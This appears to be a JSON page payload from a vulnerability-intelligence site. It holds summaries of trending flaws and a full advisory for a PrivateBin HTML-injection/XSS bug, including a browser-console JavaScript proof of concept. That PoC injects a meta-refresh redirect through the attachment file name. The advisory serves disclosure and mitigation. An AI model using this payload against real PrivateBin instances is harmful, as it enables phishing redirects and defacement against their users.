[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-62796":30,"landing-articles":83},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":51,"technologies":53,"references":55,"score":61,"epss_score":62,"epss_percentile":63,"is_kev":64,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":65,"attack_mappings":75,"exploits":82},100748,"CVE-2025-62796","EUVD-2025-36556","PrivateBin is missing HTML sanitization of attached filename in file size hint\n\nWe’ve identified an HTML injection\u002FXSS vulnerability in PrivateBin service that allows the injection of arbitrary HTML markup via the attached filename. Below are the technical details, PoC, reproduction steps, impact, and mitigation recommendations.\n\n**Recommend action:** As the vulnerability has been fixed in the latest version, users are **strongly encouraged** to upgrade PrivateBin to the latest version _and_ [check](https:\u002F\u002Fprivatebin.info\u002Fdirectory\u002Fcheck) that a strong CSP header, just as the default suggested one, is delivered.\n\n**Summary of the vulnerability:** The `attachment_name` field containing the attached file name is included in the object that the client encrypts and is eventually rendered in the DOM without proper escaping.\n\n## Impact\nThe vulnerability allows attackers to inject arbitrary HTML into the filename displayed near the file size hint, when attachments are enabled. This is by definition [a XSS vulnerability (CWE-80)](https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002Fdefinitions\u002F80.html), in this case even a persistent XSS. As any HTML can be injected, basically, this can e.g. be used to inject [a script tag (as per CWE-79)](https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002Fdefinitions\u002F79.html).\n\nThat said, also due to [previous issues](#more-informaton), we have strong mitigations for this in place. The [content security policy (CSP)](https:\u002F\u002Fcontent-security-policy.com\u002F) does, if configured as recommend by the PrivateBin project, prevent any inline script execution, so the confidentiality of the paste is _not_ affected.\n\nHowever, as the reporter demonstrated, even when script execution is blocked, an HTML injection can still be used for attacks such as:\n* redirection using a meta redirect tag to redirect to a potentially malicious\u002Fattacker-controlled website\n* defacement of the website\n* phishing, in combination with the redirection to a clone of a PrivateBin phishing page or similar\n* potential attacks on other services hosted on the same domain\n\nThis list is by no means meant to be exhaustive, other attacks should be considered possible, that is why we treat this issue as a serious issue, even if the CSP is supposed to block the most attacks.\n\n> [!IMPORTANT]  \n> Depending on the deployment, if the server has a different than the recommend CSP configured or the client (browser) somehow lacks a protection, the vulnerability can have much more serious impacts and potentially also allow XSS, which could mean the confidentiality of the PrivateBin instance is affected. \n\n## Technical Description\n\nThe front-end uses PrivateBin (client-side encryption) to format and encrypt data before sending. During the paste creation process, the client assembles a `cipherMessage` object containing, among other fields:\n* `paste` -> paste text\n* `attachment` -> file content (data-URI)\n* `attachment_name` -> array with file names\n\nBefore encryption, the `ServerInteraction.setCipherMessage(cipherMessage)` function is called. By intercepting\u002Faltering the `cipherMessage` on the client immediately before encryption, it is possible to replace `attachment_name` with an attacker-controlled string; this string becomes part of the encrypted content, and when the paste is opened, the local client decrypts and inserts the name into the DOM unescaped, allowing the interpretation of inserted HTML markup.\n\nNote that it was not necessary to reimplement encryption: the monkeypatch modifies the object before the client applies AES-GCM\u002FPBKDF2\u002Fcompression, thus avoiding ciphertext formatting issues.\n\n## Proof of concept\nPaste this into the console on the PrivateBin page before clicking Create.\n\n```js\n\u002F\u002F Monkeypatch to modify attachment_name immediately before encryption\n(() => {\n  const desiredName = '\">\u003Cmeta http-equiv=\"refresh\" content=\"0;url=https:\u002F\u002Fexample.com\u002F\">.txt'; \u002F\u002F \u003C- adjust here\n\n  \u002F\u002F get the namespace used by PrivateBin\n  if (!window.$ || !$.PrivateBin || !$.PrivateBin.ServerInteraction) {\n    return console.error('PrivateBin namespace not found (make sure you are on the PrivateBin page).');\n  }\n\n  const SI = $.PrivateBin.ServerInteraction;\n  \u002F\u002F save original function\n  const origSetCipherMessage = SI.setCipherMessage?.bind(SI);\n\n  if (typeof origSetCipherMessage !== 'function') {\n    return console.error('setCipherMessage not found or is not a function.');\n  }\n\n  SI.setCipherMessage = async function(cipherMessage) {\n    try {\n      \u002F\u002F cipherMessage here is the plain object the client intends to encrypt\n      if (cipherMessage && Array.isArray(cipherMessage.attachment_name)) {\n        console.log('[patch] original attachment_name:', cipherMessage.attachment_name);\n        cipherMessage.attachment_name = cipherMessage.attachment_name.map(() => desiredName);\n        console.log('[patch] attachment_name overwritten to:', cipherMessage.attachment_name);\n      } else if (cipherMessage && cipherMessage.attachment && Array.isArray(cipherMessage.attachment)) {\n        \u002F\u002F if there are attachments but no attachment_name (rare), add a coherent array\n        cipherMessage.attachment_name = cipherMessage.attachment.map(() => desiredName);\n        console.log('[patch] attachment_name added:', cipherMessage.attachment_name);\n      } else {\n        \u002F\u002F nothing to change\n      }\n\n      \u002F\u002F call the original implementation (which performs the encryption)\n      return await origSetCipherMessage(cipherMessage);\n    } catch (err) {\n      console.error('Error in setCipherMessage monkeypatch:', err);\n      \u002F\u002F in case of error, attempt to call the original anyway\n      return await origSetCipherMessage(cipherMessage);\n    }\n  };\n\n  console.log('Monkeypatch applied to ServerInteraction.setCipherMessage() - ready to send. (Reload the page to undo).');\n})();\n```\n\n## Reproduction Steps\n\n1. Access PrivateBin (in the program scope). A requirement is that you have file upload enabled.\n2. Attach any file via the UI (file content irrelevant).\n3. Open the browser console (F12 → Console).\n4. Paste the snippet above and adjust `desiredName` to the desired HTML payload (e.g.,` \">\u003Cmeta http-equiv=\"refresh\" content=\"0;url=https:\u002F\u002Fexample.com\u002F\">.txt`).\n5. Click Create. The client will encrypt and send the paste normally.\n6. Intercept\u002Finspect the POST request (optional).\n7. Open the generated link.\n\n**What happens:** When rendering the paste, the content of the injected attachment_name will be interpreted according to the context, demonstrating the impact.\n\n## Mitigation\n\nWe strongly recommend you to **upgrade to our latest release**. However, here are some workarounds that may help you to mitigate this vulnerability without upgrade:\n\n* Update the [CSP in your configuration file](https:\u002F\u002Fgithub.com\u002FPrivateBin\u002FPrivateBin\u002Fwiki\u002FConfiguration#cspheader) to the latest recommended settings and check that it isn't getting reverted or overwritten by your web server, reverse proxy or CDN, i.e. using [our offered check service](https:\u002F\u002Fprivatebin.info\u002Fdirectory\u002Fcheck).\n   **Note:** You should check your CSP independently, even if you upgrade to a fixed version. See also the section [\"More information\"](#more-information) about how we recently enhanced the CSP protection. \n* Deploying PrivateBin on a separate domain may limit the scope of the vulnerability to PrivateBin itself and thus, as described in the “Impact” section, effectively prevent any damage by the vulnerability to other resources you are hosting.\n* As explained in the impact assessment, disabling attachments also prevents this issue.\n\n## Patches\n\nThe issue has been patched in version 2.0.2. The change that displayed the attachment name without sanitation was introduced in version 1.7.7. The code-changes in PrivateBin mitigating this issue can be found in commit c4f8482b3072be7ae012cace1b3f5658dcc3b42e.\n\n## References\nWe highly encourage server administrators and others involved with the PrivateBin project to read-up on how Content-Security-Policies work, especially should you consider to manually adjust it:\n* https:\u002F\u002Fcontent-security-policy.com\u002F\n* https:\u002F\u002Fdeveloper.mozilla.org\u002Fdocs\u002FWeb\u002FHTTP\u002FCSP\n* https:\u002F\u002Fdevelopers.google.com\u002Fweb\u002Ffundamentals\u002Fsecurity\u002Fcsp\u002F\n\nAlso please note that if multiple headers are set (as e.g. done via our introduced meta tag) [browsers should apply the most restrictive set of the policies](https:\u002F\u002Fstackoverflow.com\u002Fa\u002F51153816\u002F5008962), [as per the CSP specification](https:\u002F\u002Fwww.w3.org\u002FTR\u002FCSP2\u002F#enforcing-multiple-policies).\n\n## More information\nThis issue is similar to https:\u002F\u002Fgithub.com\u002FPrivateBin\u002FPrivateBin\u002Fsecurity\u002Fadvisories\u002FGHSA-cqcc-mm6x-vmvw, but was, based on our analysis, apparently introduced in https:\u002F\u002Fgithub.com\u002FPrivateBin\u002FPrivateBin\u002Fpull\u002F1550.\n\nNote that we have, independently as of this issue and as per regular security maintenance, already applied many CSP improvements and strengthened this security mechanism of PrivateBin. This includes in detail:\n* As part of the [last XSS vulnerability](#more-information), we have now included the CSP in a meta HTML tag, too, so in case the headers are somehow mangled with by (reverse) proxies or similar, the PrivateBin instance should still be protected as long as this HTML meta tag is included in an unchanged way.\n* https:\u002F\u002Fgithub.com\u002FPrivateBin\u002FPrivateBin\u002Fpull\u002F1613 - We have removed a outdated configuration recommendation, as `default-src` does not need to allow `self` anymore, but it can keep the more strict `none` even when using the bootstrap SVG icons. ([previously a problem in Firefox prevented this](https:\u002F\u002Fbugzilla.mozilla.org\u002Fshow_bug.cgi?id=1773976))\n* https:\u002F\u002Fgithub.com\u002FPrivateBin\u002FPrivateBin\u002Fpull\u002F1464 - We could remove the previously used `unsafe-eval` that was a potentially risky CSP source being allowed for scripts, and replaced it with `wasm-unsafe-eval` for the streaming of a WebAssembly component used for optional compression. This can be disabled in the configuration and then `wasm-unsafe-eval` can also be removed.\n\nIn case you have not noticed this and did not upgrade your CSP header yet, **we strongly recommend to do it as soon as possible**!\n\n## Credits\n\nOn Thursday October 23rd, 2025 we received a report via email at security@privatebin.org. The reporter asked to stay anonymous. We thank them a lot for the detailed reporting of this vulnerability, including the description of the proof of concept listed above!\n\nIn general, we'd like to thank everyone reporting issues and potential vulnerabilities to us.\n\nIf you think you have found a vulnerability or potential security risk, [we'd kindly ask you to follow our security policy](https:\u002F\u002Fgithub.com\u002FPrivateBin\u002FPrivateBin\u002Fblob\u002Fmaster\u002FSECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.","2025-10-28T20:14:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":44,"availabilityImpact":45,"privilegesRequired":45,"confidentialityImpact":45},"CHANGED","3.1",5.8,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:N\u002FI:L\u002FA:N","LOW","NONE",true,[48,49,50],"CWE-80","CWE-79","CWE-601",[52],"cpe:2.3:a:privatebin:privatebin:*:*:*:*:*:*:*:*",[54],"Privatebin Privatebin",[56,57,58,59,60],"https:\u002F\u002Fgithub.com\u002FPrivateBin\u002FPrivateBin\u002Fcommit\u002Fc4f8482b3072be7ae012cace1b3f5658dcc3b42e","https:\u002F\u002Fgithub.com\u002FPrivateBin\u002FPrivateBin\u002Fpull\u002F1550","https:\u002F\u002Fgithub.com\u002FPrivateBin\u002FPrivateBin\u002Fsecurity\u002Fadvisories\u002FGHSA-867c-p784-5q6g","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-62796","https:\u002F\u002Fgithub.com\u002FPrivateBin\u002FPrivateBin",0.49,0.00295,0.21925,false,{"timestamp":66,"automatable":67,"tech_impact":68,"exploitation":69,"cisa_decision":70,"cisa_remediation_timeline":74},"2025-10-29T13:30:18.884080Z","yes","partial","poc",{"vector":71,"decision":72,"priority":73},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T07:44:22.206054\u002F","attend","medium","14D",[76],{"name":77,"source":78,"tactics":79,"technique_id":81},"Exploit Public-Facing Application","attack_vector",[80],"initial-access","T1190",[],{"count":84,"next":85,"previous":6,"results":86},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[87,95,103],{"id":88,"title":89,"summary":90,"published_at":91,"type":92,"link":93,"image_url":94},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":96,"title":97,"summary":98,"published_at":99,"type":100,"link":101,"image_url":102},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":104,"title":105,"summary":106,"published_at":107,"type":108,"link":109,"image_url":110},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]